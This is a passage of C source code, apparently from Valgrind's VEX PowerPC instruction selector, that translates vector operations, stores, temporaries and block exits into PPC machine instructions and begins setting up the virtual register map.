r_aligned16 ); iselInt64Expr(&r1, &r0, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Store( 4, am_off12, r0, mode64 )); addInstr(env, PPCInstr_Store( 4, am_off8, r1, mode64 )); iselInt64Expr(&r3, &r2, env, e->Iex.Binop.arg1); addInstr(env, PPCInstr_Store( 4, am_off4, r2, mode64 )); addInstr(env, PPCInstr_Store( 4, am_off0, r3, mode64 )); addInstr(env, PPCInstr_AvLdSt(True, 16, dst, am_off0)); add_to_sp( env, 32 ); return dst; } else { HReg rHi = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg rLo = iselWordExpr_R(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); HReg r_aligned16; PPCAMode *am_off0, *am_off8; sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off0 = PPCAMode_IR( 0, r_aligned16 ); am_off8 = PPCAMode_IR( 8, r_aligned16 ); addInstr(env, PPCInstr_Store( 8, am_off0, rHi, mode64 )); addInstr(env, PPCInstr_Store( 8, am_off8, rLo, mode64 )); addInstr(env, PPCInstr_AvLdSt(True, 16, dst, am_off0)); add_to_sp( env, 32 ); return dst; } } case Iop_Add32Fx4: fpop = Pavfp_ADDF; goto do_32Fx4; case Iop_Sub32Fx4: fpop = Pavfp_SUBF; goto do_32Fx4; case Iop_Max32Fx4: fpop = Pavfp_MAXF; goto do_32Fx4; case Iop_Min32Fx4: fpop = Pavfp_MINF; goto do_32Fx4; case Iop_Mul32Fx4: fpop = Pavfp_MULF; goto do_32Fx4; case Iop_CmpEQ32Fx4: fpop = Pavfp_CMPEQF; goto do_32Fx4; case Iop_CmpGT32Fx4: fpop = Pavfp_CMPGTF; goto do_32Fx4; case Iop_CmpGE32Fx4: fpop = Pavfp_CMPGEF; goto do_32Fx4; do_32Fx4: { HReg argL = iselVecExpr(env, e->Iex.Binop.arg1); HReg argR = iselVecExpr(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBin32Fx4(fpop, dst, argL, argR)); return dst; } case Iop_CmpLE32Fx4: { HReg argL = iselVecExpr(env, e->Iex.Binop.arg1); HReg argR = iselVecExpr(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); HReg isNanLR = newVRegV(env); HReg isNanL = isNan(env, argL); HReg isNanR = isNan(env, argR); addInstr(env, PPCInstr_AvBinary(Pav_OR, isNanLR, isNanL, isNanR)); addInstr(env, PPCInstr_AvBin32Fx4(Pavfp_CMPGTF, dst, argL, argR)); addInstr(env, PPCInstr_AvBinary(Pav_OR, dst, dst, isNanLR)); addInstr(env, PPCInstr_AvUnary(Pav_NOT, dst, dst)); return dst; } case Iop_AndV128: op = Pav_AND; goto do_AvBin; case Iop_OrV128: op = Pav_OR; goto do_AvBin; case Iop_XorV128: op = Pav_XOR; goto do_AvBin; do_AvBin: { HReg arg1 = iselVecExpr(env, e->Iex.Binop.arg1); HReg arg2 = iselVecExpr(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBinary(op, dst, arg1, arg2)); return dst; } case Iop_Shl8x16: op = Pav_SHL; goto do_AvBin8x16; case Iop_Shr8x16: op = Pav_SHR; goto do_AvBin8x16; case Iop_Sar8x16: op = Pav_SAR; goto do_AvBin8x16; case Iop_Rol8x16: op = Pav_ROTL; goto do_AvBin8x16; case Iop_InterleaveHI8x16: op = Pav_MRGHI; goto do_AvBin8x16; case Iop_InterleaveLO8x16: op = Pav_MRGLO; goto do_AvBin8x16; case Iop_Add8x16: op = Pav_ADDU; goto do_AvBin8x16; case Iop_QAdd8Ux16: op = Pav_QADDU; goto do_AvBin8x16; case Iop_QAdd8Sx16: op = Pav_QADDS; goto do_AvBin8x16; case Iop_Sub8x16: op = Pav_SUBU; goto do_AvBin8x16; case Iop_QSub8Ux16: op = Pav_QSUBU; goto do_AvBin8x16; case Iop_QSub8Sx16: op = Pav_QSUBS; goto do_AvBin8x16; case Iop_Avg8Ux16: op = Pav_AVGU; goto do_AvBin8x16; case Iop_Avg8Sx16: op = Pav_AVGS; goto do_AvBin8x16; case Iop_Max8Ux16: op = Pav_MAXU; goto do_AvBin8x16; case Iop_Max8Sx16: op = Pav_MAXS; goto do_AvBin8x16; case Iop_Min8Ux16: op = Pav_MINU; goto do_AvBin8x16; case Iop_Min8Sx16: op = Pav_MINS; goto do_AvBin8x16; case Iop_MullEven8Ux16: op = Pav_OMULU; goto do_AvBin8x16; case Iop_MullEven8Sx16: op = Pav_OMULS; goto do_AvBin8x16; case Iop_CmpEQ8x16: op = Pav_CMPEQU; goto do_AvBin8x16; case Iop_CmpGT8Ux16: op = Pav_CMPGTU; goto do_AvBin8x16; case Iop_CmpGT8Sx16: op = Pav_CMPGTS; goto do_AvBin8x16; do_AvBin8x16: { HReg arg1 = iselVecExpr(env, e->Iex.Binop.arg1); HReg arg2 = iselVecExpr(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBin8x16(op, dst, arg1, arg2)); return dst; } case Iop_Shl16x8: op = Pav_SHL; goto do_AvBin16x8; case Iop_Shr16x8: op = Pav_SHR; goto do_AvBin16x8; case Iop_Sar16x8: op = Pav_SAR; goto do_AvBin16x8; case Iop_Rol16x8: op = Pav_ROTL; goto do_AvBin16x8; case Iop_NarrowBin16to8x16: op = Pav_PACKUU; goto do_AvBin16x8; case Iop_QNarrowBin16Uto8Ux16: op = Pav_QPACKUU; goto do_AvBin16x8; case Iop_QNarrowBin16Sto8Sx16: op = Pav_QPACKSS; goto do_AvBin16x8; case Iop_InterleaveHI16x8: op = Pav_MRGHI; goto do_AvBin16x8; case Iop_InterleaveLO16x8: op = Pav_MRGLO; goto do_AvBin16x8; case Iop_Add16x8: op = Pav_ADDU; goto do_AvBin16x8; case Iop_QAdd16Ux8: op = Pav_QADDU; goto do_AvBin16x8; case Iop_QAdd16Sx8: op = Pav_QADDS; goto do_AvBin16x8; case Iop_Sub16x8: op = Pav_SUBU; goto do_AvBin16x8; case Iop_QSub16Ux8: op = Pav_QSUBU; goto do_AvBin16x8; case Iop_QSub16Sx8: op = Pav_QSUBS; goto do_AvBin16x8; case Iop_Avg16Ux8: op = Pav_AVGU; goto do_AvBin16x8; case Iop_Avg16Sx8: op = Pav_AVGS; goto do_AvBin16x8; case Iop_Max16Ux8: op = Pav_MAXU; goto do_AvBin16x8; case Iop_Max16Sx8: op = Pav_MAXS; goto do_AvBin16x8; case Iop_Min16Ux8: op = Pav_MINU; goto do_AvBin16x8; case Iop_Min16Sx8: op = Pav_MINS; goto do_AvBin16x8; case Iop_MullEven16Ux8: op = Pav_OMULU; goto do_AvBin16x8; case Iop_MullEven16Sx8: op = Pav_OMULS; goto do_AvBin16x8; case Iop_CmpEQ16x8: op = Pav_CMPEQU; goto do_AvBin16x8; case Iop_CmpGT16Ux8: op = Pav_CMPGTU; goto do_AvBin16x8; case Iop_CmpGT16Sx8: op = Pav_CMPGTS; goto do_AvBin16x8; do_AvBin16x8: { HReg arg1 = iselVecExpr(env, e->Iex.Binop.arg1); HReg arg2 = iselVecExpr(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBin16x8(op, dst, arg1, arg2)); return dst; } case Iop_Shl32x4: op = Pav_SHL; goto do_AvBin32x4; case Iop_Shr32x4: op = Pav_SHR; goto do_AvBin32x4; case Iop_Sar32x4: op = Pav_SAR; goto do_AvBin32x4; case Iop_Rol32x4: op = Pav_ROTL; goto do_AvBin32x4; case Iop_NarrowBin32to16x8: op = Pav_PACKUU; goto do_AvBin32x4; case Iop_QNarrowBin32Uto16Ux8: op = Pav_QPACKUU; goto do_AvBin32x4; case Iop_QNarrowBin32Sto16Sx8: op = Pav_QPACKSS; goto do_AvBin32x4; case Iop_InterleaveHI32x4: op = Pav_MRGHI; goto do_AvBin32x4; case Iop_InterleaveLO32x4: op = Pav_MRGLO; goto do_AvBin32x4; case Iop_Add32x4: op = Pav_ADDU; goto do_AvBin32x4; case Iop_QAdd32Ux4: op = Pav_QADDU; goto do_AvBin32x4; case Iop_QAdd32Sx4: op = Pav_QADDS; goto do_AvBin32x4; case Iop_Sub32x4: op = Pav_SUBU; goto do_AvBin32x4; case Iop_QSub32Ux4: op = Pav_QSUBU; goto do_AvBin32x4; case Iop_QSub32Sx4: op = Pav_QSUBS; goto do_AvBin32x4; case Iop_Avg32Ux4: op = Pav_AVGU; goto do_AvBin32x4; case Iop_Avg32Sx4: op = Pav_AVGS; goto do_AvBin32x4; case Iop_Max32Ux4: op = Pav_MAXU; goto do_AvBin32x4; case Iop_Max32Sx4: op = Pav_MAXS; goto do_AvBin32x4; case Iop_Min32Ux4: op = Pav_MINU; goto do_AvBin32x4; case Iop_Min32Sx4: op = Pav_MINS; goto do_AvBin32x4; case Iop_CmpEQ32x4: op = Pav_CMPEQU; goto do_AvBin32x4; case Iop_CmpGT32Ux4: op = Pav_CMPGTU; goto do_AvBin32x4; case Iop_CmpGT32Sx4: op = Pav_CMPGTS; goto do_AvBin32x4; do_AvBin32x4: { HReg arg1 = iselVecExpr(env, e->Iex.Binop.arg1); HReg arg2 = iselVecExpr(env, e->Iex.Binop.arg2); HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBin32x4(op, dst, arg1, arg2)); return dst; } case Iop_ShlN8x16: op = Pav_SHL; goto do_AvShift8x16; case Iop_SarN8x16: op = Pav_SAR; goto do_AvShift8x16; do_AvShift8x16: { HReg r_src = iselVecExpr(env, e->Iex.Binop.arg1); HReg dst = newVRegV(env); HReg v_shft = mk_AvDuplicateRI(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_AvBin8x16(op, dst, r_src, v_shft)); return dst; } case Iop_ShlN16x8: op = Pav_SHL; goto do_AvShift16x8; case Iop_ShrN16x8: op = Pav_SHR; goto do_AvShift16x8; case Iop_SarN16x8: op = Pav_SAR; goto do_AvShift16x8; do_AvShift16x8: { HReg r_src = iselVecExpr(env, e->Iex.Binop.arg1); HReg dst = newVRegV(env); HReg v_shft = mk_AvDuplicateRI(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_AvBin16x8(op, dst, r_src, v_shft)); return dst; } case Iop_ShlN32x4: op = Pav_SHL; goto do_AvShift32x4; case Iop_ShrN32x4: op = Pav_SHR; goto do_AvShift32x4; case Iop_SarN32x4: op = Pav_SAR; goto do_AvShift32x4; do_AvShift32x4: { HReg r_src = iselVecExpr(env, e->Iex.Binop.arg1); HReg dst = newVRegV(env); HReg v_shft = mk_AvDuplicateRI(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_AvBin32x4(op, dst, r_src, v_shft)); return dst; } case Iop_ShrV128: op = Pav_SHR; goto do_AvShiftV128; case Iop_ShlV128: op = Pav_SHL; goto do_AvShiftV128; do_AvShiftV128: { HReg dst = newVRegV(env); HReg r_src = iselVecExpr(env, e->Iex.Binop.arg1); HReg v_shft = mk_AvDuplicateRI(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_AvBinary(op, dst, r_src, v_shft)); return dst; } case Iop_Perm8x16: { HReg dst = newVRegV(env); HReg v_src = iselVecExpr(env, e->Iex.Binop.arg1); HReg v_ctl = iselVecExpr(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_AvPerm(dst, v_src, v_src, v_ctl)); return dst; } default: break; } } if (e->tag == Iex_Const ) { vassert(e->Iex.Const.con->tag == Ico_V128); if (e->Iex.Const.con->Ico.V128 == 0x0000) { return generate_zeroes_V128(env); } else if (e->Iex.Const.con->Ico.V128 == 0xffff) { return generate_ones_V128(env); } } vex_printf("iselVecExpr(ppc) (subarch = %s): can't reduce\n", LibVEX_ppVexHwCaps(mode64 ? VexArchPPC64 : VexArchPPC32, env->hwcaps)); ppIRExpr(e); vpanic("iselVecExpr_wrk(ppc)"); } static void iselStmt ( ISelEnv* env, IRStmt* stmt ) { Bool mode64 = env->mode64; if (vex_traceflags & VEX_TRACE_VCODE) { vex_printf("\n -- "); ppIRStmt(stmt); vex_printf("\n"); } switch (stmt->tag) { case Ist_Store: { IRType tya = typeOfIRExpr(env->type_env, stmt->Ist.Store.addr); IRType tyd = typeOfIRExpr(env->type_env, stmt->Ist.Store.data); IREndness end = stmt->Ist.Store.end; if (end != Iend_BE) goto stmt_fail; if (!mode64 && (tya != Ity_I32)) goto stmt_fail; if (mode64 && (tya != Ity_I64)) goto stmt_fail; if (tyd == Ity_I8 || tyd == Ity_I16 || tyd == Ity_I32 || (mode64 && (tyd == Ity_I64))) { PPCAMode* am_addr = iselWordExpr_AMode(env, stmt->Ist.Store.addr, tyd); HReg r_src = iselWordExpr_R(env, stmt->Ist.Store.data); addInstr(env, PPCInstr_Store( toUChar(sizeofIRType(tyd)), am_addr, r_src, mode64 )); return; } if (tyd == Ity_F64) { PPCAMode* am_addr = iselWordExpr_AMode(env, stmt->Ist.Store.addr, tyd); HReg fr_src = iselDblExpr(env, stmt->Ist.Store.data); addInstr(env, PPCInstr_FpLdSt(False, 8, fr_src, am_addr)); return; } if (tyd == Ity_F32) { PPCAMode* am_addr = iselWordExpr_AMode(env, stmt->Ist.Store.addr, tyd); HReg fr_src = iselFltExpr(env, stmt->Ist.Store.data); addInstr(env, PPCInstr_FpLdSt(False, 4, fr_src, am_addr)); return; } if (tyd == Ity_V128) { PPCAMode* am_addr = iselWordExpr_AMode(env, stmt->Ist.Store.addr, tyd); HReg v_src = iselVecExpr(env, stmt->Ist.Store.data); addInstr(env, PPCInstr_AvLdSt(False, 16, v_src, am_addr)); return; } if (tyd == Ity_I64 && !mode64) { HReg rHi32, rLo32; HReg r_addr = iselWordExpr_R(env, stmt->Ist.Store.addr); iselInt64Expr( &rHi32, &rLo32, env, stmt->Ist.Store.data ); addInstr(env, PPCInstr_Store( 4, PPCAMode_IR( 0, r_addr ), rHi32, False) ); addInstr(env, PPCInstr_Store( 4, PPCAMode_IR( 4, r_addr ), rLo32, False) ); return; } break; } case Ist_Put: { IRType ty = typeOfIRExpr(env->type_env, stmt->Ist.Put.data); if (ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && mode64)) { HReg r_src = iselWordExpr_R(env, stmt->Ist.Put.data); PPCAMode* am_addr = PPCAMode_IR( stmt->Ist.Put.offset, GuestStatePtr(mode64) ); addInstr(env, PPCInstr_Store( toUChar(sizeofIRType(ty)), am_addr, r_src, mode64 )); return; } if (!mode64 && ty == Ity_I64) { HReg rHi, rLo; PPCAMode* am_addr = PPCAMode_IR( stmt->Ist.Put.offset, GuestStatePtr(mode64) ); PPCAMode* am_addr4 = advance4(env, am_addr); iselInt64Expr(&rHi,&rLo, env, stmt->Ist.Put.data); addInstr(env, PPCInstr_Store( 4, am_addr, rHi, mode64 )); addInstr(env, PPCInstr_Store( 4, am_addr4, rLo, mode64 )); return; } if (ty == Ity_V128) { HReg v_src = iselVecExpr(env, stmt->Ist.Put.data); PPCAMode* am_addr = PPCAMode_IR( stmt->Ist.Put.offset, GuestStatePtr(mode64) ); addInstr(env, PPCInstr_AvLdSt(False, 16, v_src, am_addr)); return; } if (ty == Ity_F64) { HReg fr_src = iselDblExpr(env, stmt->Ist.Put.data); PPCAMode* am_addr = PPCAMode_IR( stmt->Ist.Put.offset, GuestStatePtr(mode64) ); addInstr(env, PPCInstr_FpLdSt( False, 8, fr_src, am_addr )); return; } if (ty == Ity_D64) { HReg fr_src = iselDfp64Expr( env, stmt->Ist.Put.data ); PPCAMode* am_addr = PPCAMode_IR( stmt->Ist.Put.offset, GuestStatePtr(mode64) ); addInstr( env, PPCInstr_FpLdSt( False, 8, fr_src, am_addr ) ); return; } break; } case Ist_PutI: { IRPutI *puti = stmt->Ist.PutI.details; PPCAMode* dst_am = genGuestArrayOffset( env, puti->descr, puti->ix, puti->bias ); IRType ty = typeOfIRExpr(env->type_env, puti->data); if (mode64 && ty == Ity_I64) { HReg r_src = iselWordExpr_R(env, puti->data); addInstr(env, PPCInstr_Store( toUChar(8), dst_am, r_src, mode64 )); return; } if ((!mode64) && ty == Ity_I32) { HReg r_src = iselWordExpr_R(env, puti->data); addInstr(env, PPCInstr_Store( toUChar(4), dst_am, r_src, mode64 )); return; } break; } case Ist_WrTmp: { IRTemp tmp = stmt->Ist.WrTmp.tmp; IRType ty = typeOfIRTemp(env->type_env, tmp); if (ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && mode64)) { HReg r_dst = lookupIRTemp(env, tmp); HReg r_src = iselWordExpr_R(env, stmt->Ist.WrTmp.data); addInstr(env, mk_iMOVds_RR( r_dst, r_src )); return; } if (!mode64 && ty == Ity_I64) { HReg r_srcHi, r_srcLo, r_dstHi, r_dstLo; iselInt64Expr(&r_srcHi,&r_srcLo, env, stmt->Ist.WrTmp.data); lookupIRTempPair( &r_dstHi, &r_dstLo, env, tmp); addInstr(env, mk_iMOVds_RR(r_dstHi, r_srcHi) ); addInstr(env, mk_iMOVds_RR(r_dstLo, r_srcLo) ); return; } if (mode64 && ty == Ity_I128) { HReg r_srcHi, r_srcLo, r_dstHi, r_dstLo; iselInt128Expr(&r_srcHi,&r_srcLo, env, stmt->Ist.WrTmp.data); lookupIRTempPair( &r_dstHi, &r_dstLo, env, tmp); addInstr(env, mk_iMOVds_RR(r_dstHi, r_srcHi) ); addInstr(env, mk_iMOVds_RR(r_dstLo, r_srcLo) ); return; } if (!mode64 && ty == Ity_I128) { HReg r_srcHi, r_srcMedHi, r_srcMedLo, r_srcLo; HReg r_dstHi, r_dstMedHi, r_dstMedLo, r_dstLo; iselInt128Expr_to_32x4(&r_srcHi, &r_srcMedHi, &r_srcMedLo, &r_srcLo, env, stmt->Ist.WrTmp.data); lookupIRTempQuad( &r_dstHi, &r_dstMedHi, &r_dstMedLo, &r_dstLo, env, tmp); addInstr(env, mk_iMOVds_RR(r_dstHi, r_srcHi) ); addInstr(env, mk_iMOVds_RR(r_dstMedHi, r_srcMedHi) ); addInstr(env, mk_iMOVds_RR(r_dstMedLo, r_srcMedLo) ); addInstr(env, mk_iMOVds_RR(r_dstLo, r_srcLo) ); return; } if (ty == Ity_I1) { PPCCondCode cond = iselCondCode(env, stmt->Ist.WrTmp.data); HReg r_dst = lookupIRTemp(env, tmp); addInstr(env, PPCInstr_Set(cond, r_dst)); return; } if (ty == Ity_F64) { HReg fr_dst = lookupIRTemp(env, tmp); HReg fr_src = iselDblExpr(env, stmt->Ist.WrTmp.data); addInstr(env, PPCInstr_FpUnary(Pfp_MOV, fr_dst, fr_src)); return; } if (ty == Ity_F32) { HReg fr_dst = lookupIRTemp(env, tmp); HReg fr_src = iselFltExpr(env, stmt->Ist.WrTmp.data); addInstr(env, PPCInstr_FpUnary(Pfp_MOV, fr_dst, fr_src)); return; } if (ty == Ity_V128) { HReg v_dst = lookupIRTemp(env, tmp); HReg v_src = iselVecExpr(env, stmt->Ist.WrTmp.data); addInstr(env, PPCInstr_AvUnary(Pav_MOV, v_dst, v_src)); return; } if (ty == Ity_D64) { HReg fr_dst = lookupIRTemp( env, tmp ); HReg fr_src = iselDfp64Expr( env, stmt->Ist.WrTmp.data ); addInstr( env, PPCInstr_Dfp64Unary( Pfp_MOV, fr_dst, fr_src ) ); return; } if (ty == Ity_D128) { HReg fr_srcHi, fr_srcLo, fr_dstHi, fr_dstLo; lookupIRTempPair( &fr_dstHi, &fr_dstLo, env, tmp ); iselDfp128Expr( &fr_srcHi, &fr_srcLo, env, stmt->Ist.WrTmp.data ); addInstr( env, PPCInstr_Dfp64Unary( Pfp_MOV, fr_dstHi, fr_srcHi ) ); addInstr( env, PPCInstr_Dfp64Unary( Pfp_MOV, fr_dstLo, fr_srcLo ) ); return; } break; } case Ist_LLSC: { IRTemp res = stmt->Ist.LLSC.result; IRType tyRes = typeOfIRTemp(env->type_env, res); IRType tyAddr = typeOfIRExpr(env->type_env, stmt->Ist.LLSC.addr); if (stmt->Ist.LLSC.end != Iend_BE) goto stmt_fail; if (!mode64 && (tyAddr != Ity_I32)) goto stmt_fail; if (mode64 && (tyAddr != Ity_I64)) goto stmt_fail; if (stmt->Ist.LLSC.storedata == NULL) { HReg r_addr = iselWordExpr_R( env, stmt->Ist.LLSC.addr ); HReg r_dst = lookupIRTemp(env, res); if (tyRes == Ity_I32) { addInstr(env, PPCInstr_LoadL( 4, r_dst, r_addr, mode64 )); return; } if (tyRes == Ity_I64 && mode64) { addInstr(env, PPCInstr_LoadL( 8, r_dst, r_addr, mode64 )); return; } ; } else { HReg r_res = lookupIRTemp(env, res); HReg r_a = iselWordExpr_R(env, stmt->Ist.LLSC.addr); HReg r_src = iselWordExpr_R(env, stmt->Ist.LLSC.storedata); HReg r_tmp = newVRegI(env); IRType tyData = typeOfIRExpr(env->type_env, stmt->Ist.LLSC.storedata); vassert(tyRes == Ity_I1); if (tyData == Ity_I32 || (tyData == Ity_I64 && mode64)) { addInstr(env, PPCInstr_StoreC( tyData==Ity_I32 ? 4 : 8, r_a, r_src, mode64 )); addInstr(env, PPCInstr_MfCR( r_tmp )); addInstr(env, PPCInstr_Shft( Pshft_SHR, env->mode64 ? False : True , r_tmp, r_tmp, PPCRH_Imm(False, 29))); addInstr(env, PPCInstr_Alu( Palu_AND, r_res, r_tmp, PPCRH_Imm(False, 1))); return; } } goto stmt_fail; } case Ist_Dirty: { IRType retty; IRDirty* d = stmt->Ist.Dirty.details; Bool passBBP = False; if (d->nFxState == 0) vassert(!d->needsBBP); passBBP = toBool(d->nFxState > 0 && d->needsBBP); doHelperCall( env, passBBP, d->guard, d->cee, d->args ); if (d->tmp == IRTemp_INVALID) return; retty = typeOfIRTemp(env->type_env, d->tmp); if (!mode64 && retty == Ity_I64) { HReg r_dstHi, r_dstLo; lookupIRTempPair( &r_dstHi, &r_dstLo, env, d->tmp); addInstr(env, mk_iMOVds_RR(r_dstHi, hregPPC_GPR3(mode64))); addInstr(env, mk_iMOVds_RR(r_dstLo, hregPPC_GPR4(mode64))); return; } if (retty == Ity_I8 || retty == Ity_I16 || retty == Ity_I32 || ((retty == Ity_I64) && mode64)) { HReg r_dst = lookupIRTemp(env, d->tmp); addInstr(env, mk_iMOVds_RR(r_dst, hregPPC_GPR3(mode64))); return; } break; } case Ist_MBE: switch (stmt->Ist.MBE.event) { case Imbe_Fence: addInstr(env, PPCInstr_MFence()); return; default: break; } break; case Ist_IMark: return; case Ist_AbiHint: return; case Ist_NoOp: return; case Ist_Exit: { IRConst* dst = stmt->Ist.Exit.dst; if (!mode64 && dst->tag != Ico_U32) vpanic("iselStmt(ppc): Ist_Exit: dst is not a 32-bit value"); if (mode64 && dst->tag != Ico_U64) vpanic("iselStmt(ppc64): Ist_Exit: dst is not a 64-bit value"); PPCCondCode cc = iselCondCode(env, stmt->Ist.Exit.guard); PPCAMode* amCIA = PPCAMode_IR(stmt->Ist.Exit.offsIP, hregPPC_GPR31(mode64)); if (stmt->Ist.Exit.jk == Ijk_Boring || stmt->Ist.Exit.jk == Ijk_Call ) { if (env->chainingAllowed) { Bool toFastEP = mode64 ? (((Addr64)stmt->Ist.Exit.dst->Ico.U64) > (Addr64)env->max_ga) : (((Addr32)stmt->Ist.Exit.dst->Ico.U32) > (Addr32)env->max_ga); if (0) vex_printf("%s", toFastEP ? "Y" : ","); addInstr(env, PPCInstr_XDirect( mode64 ? (Addr64)stmt->Ist.Exit.dst->Ico.U64 : (Addr64)stmt->Ist.Exit.dst->Ico.U32, amCIA, cc, toFastEP)); } else { HReg r = iselWordExpr_R(env, IRExpr_Const(stmt->Ist.Exit.dst)); addInstr(env, PPCInstr_XAssisted(r, amCIA, cc, Ijk_Boring)); } return; } switch (stmt->Ist.Exit.jk) { case Ijk_ClientReq: case Ijk_EmFail: case Ijk_EmWarn: case Ijk_NoDecode: case Ijk_NoRedir: case Ijk_SigBUS: case Ijk_SigTRAP: case Ijk_Sys_syscall: case Ijk_TInval: { HReg r = iselWordExpr_R(env, IRExpr_Const(stmt->Ist.Exit.dst)); addInstr(env, PPCInstr_XAssisted(r, amCIA, cc, stmt->Ist.Exit.jk)); return; } default: break; } goto stmt_fail; } default: break; } stmt_fail: ppIRStmt(stmt); vpanic("iselStmt(ppc)"); } static void iselNext ( ISelEnv* env, IRExpr* next, IRJumpKind jk, Int offsIP ) { if (vex_traceflags & VEX_TRACE_VCODE) { vex_printf( "\n-- PUT(%d) = ", offsIP); ppIRExpr( next ); vex_printf( "; exit-"); ppIRJumpKind(jk); vex_printf( "\n"); } PPCCondCode always = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); if (next->tag == Iex_Const) { IRConst* cdst = next->Iex.Const.con; vassert(cdst->tag == (env->mode64 ? Ico_U64 :Ico_U32)); if (jk == Ijk_Boring || jk == Ijk_Call) { PPCAMode* amCIA = PPCAMode_IR(offsIP, hregPPC_GPR31(env->mode64)); if (env->chainingAllowed) { Bool toFastEP = env->mode64 ? (((Addr64)cdst->Ico.U64) > (Addr64)env->max_ga) : (((Addr32)cdst->Ico.U32) > (Addr32)env->max_ga); if (0) vex_printf("%s", toFastEP ? "X" : "."); addInstr(env, PPCInstr_XDirect( env->mode64 ? (Addr64)cdst->Ico.U64 : (Addr64)cdst->Ico.U32, amCIA, always, toFastEP)); } else { HReg r = iselWordExpr_R(env, next); addInstr(env, PPCInstr_XAssisted(r, amCIA, always, Ijk_Boring)); } return; } } switch (jk) { case Ijk_Boring: case Ijk_Ret: case Ijk_Call: { HReg r = iselWordExpr_R(env, next); PPCAMode* amCIA = PPCAMode_IR(offsIP, hregPPC_GPR31(env->mode64)); if (env->chainingAllowed) { addInstr(env, PPCInstr_XIndir(r, amCIA, always)); } else { addInstr(env, PPCInstr_XAssisted(r, amCIA, always, Ijk_Boring)); } return; } default: break; } switch (jk) { case Ijk_ClientReq: case Ijk_EmFail: case Ijk_EmWarn: case Ijk_NoDecode: case Ijk_NoRedir: case Ijk_SigBUS: case Ijk_SigTRAP: case Ijk_Sys_syscall: case Ijk_TInval: { HReg r = iselWordExpr_R(env, next); PPCAMode* amCIA = PPCAMode_IR(offsIP, hregPPC_GPR31(env->mode64)); addInstr(env, PPCInstr_XAssisted(r, amCIA, always, jk)); return; } default: break; } vex_printf( "\n-- PUT(%d) = ", offsIP); ppIRExpr( next ); vex_printf( "; exit-"); ppIRJumpKind(jk); vex_printf( "\n"); vassert(0); } HInstrArray* iselSB_PPC ( IRSB* bb, VexArch arch_host, VexArchInfo* archinfo_host, VexAbiInfo* vbi, Int offs_Host_EvC_Counter, Int offs_Host_EvC_FailAddr, Bool chainingAllowed, Bool addProfInc, Addr64 max_ga ) { Int i, j; HReg hregLo, hregMedLo, hregMedHi, hregHi; ISelEnv* env; UInt hwcaps_host = archinfo_host->hwcaps; Bool mode64 = False; UInt mask32, mask64; PPCAMode *amCounter, *amFailAddr; vassert(arch_host == VexArchPPC32 || arch_host == VexArchPPC64); mode64 = arch_host == VexArchPPC64; if (!mode64) vassert(max_ga <= 0xFFFFFFFFULL); mask32 = VEX_HWCAPS_PPC32_F | VEX_HWCAPS_PPC32_V | VEX_HWCAPS_PPC32_FX | VEX_HWCAPS_PPC32_GX | VEX_HWCAPS_PPC32_VX | VEX_HWCAPS_PPC32_DFP; mask64 = VEX_HWCAPS_PPC64_V | VEX_HWCAPS_PPC64_FX | VEX_HWCAPS_PPC64_GX | VEX_HWCAPS_PPC64_VX | VEX_HWCAPS_PPC64_DFP; if (mode64) { vassert((hwcaps_host & mask32) == 0); } else { vassert((hwcaps_host & mask64) == 0); } env = LibVEX_Alloc(sizeof(ISelEnv)); env->vreg_ctr = 0; env->mode64 = mode64; env->code = newHInstrArray(); env->type_env = bb->tyenv; env->n_vregmap = bb->tyenv->types_used; env->vregmapLo = LibVEX_Alloc(env->n_vregmap * sizeof(HReg)); env->vregmapMedLo = LibVEX_Alloc(env->n_vregmap * sizeof(HReg)); if (mode64) { env->vregmapMedHi = NULL; env->vregmapHi = NULL; } else { env->vregmapMedHi = LibVEX_Alloc(env->n_vregmap * sizeof(HReg)); env->vregmapHi = LibVEX_Alloc(env->n_vregmap * sizeof(HReg)); } env->chainingAllowed = chainingAllowed; env->max_ga = max_ga; env->hwcaps = hwcaps_host; env->previous_rm = NULL; env->vbi = vbi; j = 0; for (i = 0; i < env->n_vregmap; i++) { hregLo = hregMedLo = hregMedHi = hregHi = INVALID_HREG; switch (bb->tyenv->types[i]) { case Ity_I1: case Ity_I8: case Ity_I16: case Ity_I32: if (mode64) { hregLo = mkHReg(j++, HRcInt64, True); break; } else { hregLo = mkHReg(j++, HRcInt32, True); break; } case Ity_I64: if (mode64) { hregLo = mkHReg(j++, HRcInt64, True); break; } else { hregLo = mkHReg(j++, HRcInt32, True); hregMedLo = mkHReg(j++, HRcInt32, True); break; } case Ity_I128: if (mode64) { hregLo = mkHReg(j++, HRcInt64, True); hregMedLo = mkHReg(j++, HRcInt64, True); break; } else { hregLo = mkHReg(j++, HRcInt32, True); hregMedLo = mkHReg(j++, HRcInt32, True); hregMedHi = mkHReg(j++, HRcInt32, True); hregHi = mkHReg(j++, HRcInt32, True); break; } case Ity_F32: case Ity_F64: hregLo = mkHReg(j++, HRcFlt64, True); break; case Ity_V128: hregLo = mkHReg(j++, HRcVec128, True); break; case Ity_D64: hregLo = mkHReg(j++, HRcFlt64, True); break; case Ity_D128: hregLo = mkHReg(j++, HRcFlt64, True); hregMedLo = mkHReg(j++, HRcFlt64, True); break; default: ppIRType(bb->tyenv->types[i]); vpanic("iselBB(ppc): IRTemp type"); } env->vregmapLo[i] = hregLo; env->vregmapMedLo[i] = hregMedLo; if (!mode64) { env->vregmapMedHi[i] = hregMedHi; env->vregmapHi[i] = hregHi; } } env->vreg_ctr = j; amCounter = 